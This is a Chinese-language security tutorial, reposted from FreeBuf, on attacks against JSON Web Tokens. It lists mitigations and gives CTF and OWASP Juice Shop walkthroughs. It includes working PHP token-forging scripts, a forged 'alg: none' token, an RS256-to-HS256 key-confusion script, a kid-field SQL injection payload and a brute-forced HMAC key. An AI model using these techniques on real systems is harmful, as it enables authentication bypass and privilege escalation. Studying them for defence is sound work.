55

深入了解Json Web Token之实战篇

 5 years ago
source link: http://www.freebuf.com/articles/web/181261.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

前言

在上一篇文章中,我介绍了 Json Web Token 的相关概念。在这篇文章中,我主要介绍JWT的相关攻击,并引用了一些CTF题目。

查看上一篇文章:

深入了解Json Web Token之概念篇: http://www.freebuf.com/articles/web/180874.html

0×00 环境准备

本来想用python DRF 的 JWT做,后来各种失败。最终尝试了用Php,发现非常便利。

PHP 版本 PHP 7.2.4-1+b2 (cli),也就是kali linux自带的php,至于composer的安装方法,以及各个库的使用方法在此不展开,需要的话可以自己查阅官方文档

php jwt库的评测

在jwt.io上有些php jwt的库,在此说一下使用下来的感觉。只取了评分前三的库:

firebase/php-jwt Star 3786

支持PHP5/7;

操作非常简单,但是不具备很多功能,不是很推荐。

lcobucci/jwt Star Star 2729

支持PHP5/7;

不具备JWE的方法,操作简单;

不具备多重JWS,JWE方法以及其对应序列化方法。

spomky-labs/jose Star 351

仅支持 PHP 7;

功能齐全,具有多重JWE,JWS,以及其对应序列化方法。以上两个都不具备。

0×01 JWT 攻击手段

JWT 的攻击手段包括以下内容:

参考网站: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//

1. 敏感信息泄露

当服务端的秘钥泄密的时候,JWT的伪造就变得非常简单容易。对此,服务端应该妥善保管好私钥,以免被他人窃取。

2. 将加密方式改为’none’

下文实战中的 Juice Shop JWT issue 1 便是这个问题。之前谈及过nonsecure JWT的问题。

签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。一些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器。

解决对策:

不允许出现 none 的方法;

将开启 alg : none 作为一种额外的配置选项。

3.将算法RS256修改为HS256(非对称密码算法=>对称密码算法)

HS256使用密钥来签名和验证每个消息。而RS256使用私钥对消息进行签名并使用公钥进行认证。

如果将算法从RS256更改为HS256,则后端代码使用公钥作为密钥,然后使用HS256算法验证签名。由于攻击者有时可以获取公钥,因此攻击者可以将标头中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

此时,后端代码就会使用RSA公钥+HS256算法进行签名验证,从而让验证通过。

解决对策:

不允许 HS256等对称加密 算法读取秘钥。jwtpy就是限制了这种方法。当读取到 类似于 “— xxx key —” 的参数的时候应抛出错误;

将秘钥与验证算法相互匹配。

4. HS256(对称加密)密钥破解

如果HS256密钥强度较弱,则可以直接强制使用,通过爆破 HS256的秘钥可以完成该操作。难度比较低。解决对策很简单,使用复杂的秘钥即可。

5. 错误的堆叠加密+签名验证假设

错误的堆叠加密

这种攻击发生在单个的或者嵌套的JWE中,我们想象一个JWE如下所示:

JWT RAW

    header : ...

    payload: "admin" : false

             "uid"   : 123

             "umail" : [email protected]

             ...

JWE Main

    protected / unprotected

    recipients:

        en_key : key1

        en_key : key2

    cipher : xxx

在攻击者不修改秘钥的情况下,对于ciphertext进行修改。往往会导致解密的失败。但是,即使是失败,很多JWT的解密也是会有输出的,在没有附加认证数据(ADD)的情况下更是如此。攻击者对于ciphertext的内容进行修改,可能会让其他的数据无法解密,但是只要最后输出的payload中,有“admin”:true。 其目的就已经达到了。

解决对策:

对于JWE而言,应当解密所有数据,而非从解密的结果中提取单个需要的数据。另外,利用附加认证数据ADD,也是非常好的选择。

签名假设验证

这种攻击发生嵌套的JWS中。我们想象一个嵌套的JWS,其包括了两层的部分,其结构如下:

JWT Main

    JWT Sub1

        payload

        Signature2

    Signature

现在,攻击者通过一定的方式,能够让外层的验证通过的时候,此时,系统还应该检查内层的签名数据,如果不检查,攻击者就可以随意篡改payload的数据,来达到越权的目的。

解决对策:

因此对于嵌套JWS而言,应当验证所有层面的签名是否正确,而非验证最外层的签名是否正确就足够。

6. 无效椭圆曲线攻击

椭圆曲线加密是一种非常安全的方式,甚至从某种程度上而言,比RSA更加安全。关于椭圆曲线的算法,在此不展开。

在椭圆曲线加密中,公钥是椭圆曲线上的一个点,而私钥只是一个位于特殊但非常大的范围内的数字。 如果未验证对这些操作的输入,那攻击者就可以进行设计,从而恢复私钥。

而这种攻击已在过去中得到证实。这类攻击被称为无效曲线攻击。这种攻击比较复杂,也设计到很多的数学知识。详细可以参考文档: critical-vulnerability-uncovered-in-json-encryption

解决对策:

检查传递给任何公共函数的所有输入是否有效是解决这类攻击的关键点。验证内容包括公钥是所选曲线的有效椭圆曲线点,以及私钥位于有效值范围内。

7. 替换攻击

在这种攻击中,攻击者需要至少获得两种不同的JWT,然后攻击者可以将令牌中的一个或者两个用在其他的地方。

在JWT中,替换共叽有两种方式,我们称他们为相同接收方攻击(跨越式JWT)和不同接收方攻击。

不同接收方攻击

我们可以设想一个业务逻辑如下:

Auth 机构,有着自己的私钥,并且给 App1 和 App2 发放了两个公钥,用于验证签名;
Attacker 利用自己的秘钥登录了 App1。

此时 Auth 机构给 Attacker 下发了一个 附带签名的JWT,其payload内容为:

{

    'uname':'Attacker'

    'role' :'admin'

}

此时,如果 Attacker 知道 App1 和 App2 的公钥是同一个Auth 签发的话,他可以利用这个JWT去登录 App2,从而获取Admin权限。

解决方法:

在jwt中带上 aud 声明,比如 aud : App1 这样。来限定该jwt只能用于App1。

相同接收方攻击/跨越式JWT same recipient/Cross JWT

我们可以设想一个业务逻辑如下:

在同一站点下,有两个应用程序,wordpress和phpmyadmin,他们都利用了相同的秘钥对和算法来验证JWT签名;

站点管理员知道 Different Recipient 的问题,所以给 wordpress 的应用增加了 aud 验证,但是 phpmyadmin 的用户人数较少,没有增加 aud 的验证;

Attacker 利用自己的秘钥登录了 wordpress。

此时 站点 给 Attacker 下发了一个 附带签名的JWT,其payload内容为:

{

    'uname':'Attacker'

    'role' :'writer'

    'aud' :'shaobaobaoer.cn/wordpress'

    'iss' :'shaobaobaoer.cn'

}

这个JWT看似非常安全,但这仅仅是对于 wordpress 的应用程序而言,。从而Attacker 可以以 writer 的身份登录 phpmyadmin。

解决方案:

为所有子应用程序增加 aud 的验证

8. 其他假想的攻击方式

JWT + SQL 注入

参考链接: https://github.com/greunion/ctf-write-ups/tree/master/2018-nullcon/web/400-web6

当解密JWT的秘钥很多的时候,往往需要通过kid来确定使用哪个秘钥,而keyid参数通过b64加密来保存,可以被篡改。当keyid要通过数据库API拿取得时候,往往就会联想到sql 注入。

我们可以想象一下的攻击情况:

$keyID = $token-> getKeyID();

$keyContent = sqlAPI -> fromKeyidGetKeyContent($keyID)

###

class sqlAPI():

    function fromKeyidGetKeyContent($keyID){

        $result= Query("select key_content from keyTable where key_id = '$keyID'");

        return $result['key_content']

    }

###

if($token-> verify($JWA,$keyContetn)){

    echo $flag;

}

在下列比较简易的代码中,通过让数据库返回值为我们自定义的key_content。就可以达到破解JWT的目的。

通过注入:

' union select 'easy' limit 1,1--+

即可让秘钥改成easy。

0×03 实战练习

实战练习1 敏感信息泄露

我搜到了一个demo,在线演示地址为: http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

GitHub地址为: https://github.com/Sjord/jwtdemo/

使用firebase/jwt写的php-jwt的demo。可以用来完成后面的题目。

为了达到修改jwt的目的,我会把data字段改为:

"data":{

    "hacker":"shaobaobaoer"

    }

该题目地址为: http://demo.sjoerdlangkemper.nl/jwtdemo/rs256

在知道github项目的情况下,我们变相知道了公钥私钥的地址,直接访问:

http://demo.sjoerdlangkemper.nl/jwtdemo/private.pem

http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

可以拿到公钥私钥的内容,之后,利用我们自己的jwt库进行加密即可。

关键代码如下所示:

$keychain = new Keychain();

$sign = new Sha256();

$token = "eyJ0eXAiO...";

$token = (new Parser())->parse((string) $token);

$hacktoken = (new  Builder())

    ->setIssuer($token->getClaim('iss'))

    ->setIssuedAt($token->getClaim('iat'))

    ->setExpiration($token->getClaim('exp'))

    ->set("data",["hack"=>"shaobaobaoer"])

    ->sign($sign,$keychain->getPrivateKey('file://key_box/private.pem'))

    ->getToken();

echo $hacktoken.PHP_EOL;

var_dump($hacktoken->verify($sign,$keychain->getPublicKey('file://key_box/public.pem')));

可以看到,我们已经更改成功。

nEnE3qe.png!web

实战练习2 Juice Shop JWT issue 1

juice shop 是一个OWASP 的 vulnerable WEB 项目,后端语言为node.js。

当初我做的时候连jwt是什么都不知道,两道jwt的题目就此跳过了,现在已经掌握了这些概念,就可以拿出来回味一下。

关于juice shop 的大部分题解可以看 OWASP juice shop 实战报告

题目描述

Forge an essentially unsigned JWT token that impersonates the (non-existing) user [email protected].

实战过程

首先,先用万能登录,获取到jwt 如下所示:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAifSwiaWF0IjoxNTM0MDYwNTM5LCJleHAiOjE1MzQwNzg1Mzl9.Jivk7Pil6wukFkShzCCaHNq7qmxegvcyD83FkbglT0uYYP0azTW2rM-FH4R8WYneTu1A5gQmUjB6VdFJh8APz5Qej_AA4RP3Q6nH-9qbytxQ5cebiEuuhRSridDxbXxuS0-oquQ0PkRtpenJ75mLJFzVROeaBWgKFNNcFIrV9hs

放到 jwt.io中去解密。可以看到数据的架构如下所示:

jYNFZjy.png!web

之前我们做过实验,当alg选择为 none 的时候,是不用对JWT进行签名的,这样的jwt也被称为 不安全的jwt。

这道题目的思路就是修改 alg。

当后端不限定alg的时候,这种方法就可以被利用。当然jwt.io是不会让你把alg改成none的。你需要自己手动改:

mqa2Qrn.png!web

对头部稍微操作一下,得到的新token如下:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJqd3RuM2RAanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwiY3JlYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIn0sImlhdCI6MTUzNDA2MDUzOSwiZXhwIjoxNTM0MDc4NTM5fQ

将新的jwt发送,可以解决这个题目:

eeqYF3i.png!web

后面还有个jwt issue 2 ,我分解不了公钥,按照官方文档的做法也无从下手。做出来的可以交流一二。

实战练习3 加密方式更改

那个网站的后端代码是不能够演示加密方式修改的攻击方法的。那篇博客有些问题。这边就给出个样例。

后端的伪代码应该如下所示:

# sometimes called "decode"

verify(string token, string verificationKey){

    # returns payload if valid token, else throws an error

}

string token = $input

string verificationKey = file_get_content('rsa_pub.key')

后端代码应该会判断jwt的加密方式,其实这种方法是比较局限的。首先对于一个优秀的JWT的库而言,RS256和SH256的认证不会放在一起。另外,HMAC应当禁止公钥作为secret。

例如:在pyjwt中,这种方法是被禁止的。会抛出错误。

jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

大概写了个小脚本,利用了公钥来签名,如下所示:

$secret = file_get_contents("./key_box/public.pem");

//var_dump($secret);

$sign = new Sha256();

$token = "eyJ0eXAiO...";

$token = (new Parser())->parse((string) $token);

$hacktoken = (new  Builder())

    ->setIssuer($token->getClaim('iss'))

    ->setIssuedAt($token->getClaim('iat'))

    ->setExpiration($token->getClaim('exp'))

    ->set("data",["hack"=>"shaobaobaoer"])

    ->sign($sign,$secret)

    ->getToken();

echo $hacktoken.PHP_EOL;

var_dump($hacktoken->verify($sign,$secret));

实战练习4 HMAC秘钥爆破

参考链接: https://delcoding.github.io/2018/03/jwt-bypass/

在这道题目中,访问web,可以返回一个jwt的字符串:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM

将它解密,可以发现,算法是HS256,admin为flase。

{

  "alg": "HS256",

  "typ": "JWT"

}

{

  "admin": "false"

}

我们的目标很简单,只需要将admin转成true就可以了。而此刻能够做的只有爆破秘钥了。你当然可以写一个小脚本来爆破秘钥,这里推荐一个工具 c-jwt cracker

通过小工具,我们能迅速跑出秘钥来,我的VPS大概用了2m跑出了秘钥 54l7y

U3EjqqA.png!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK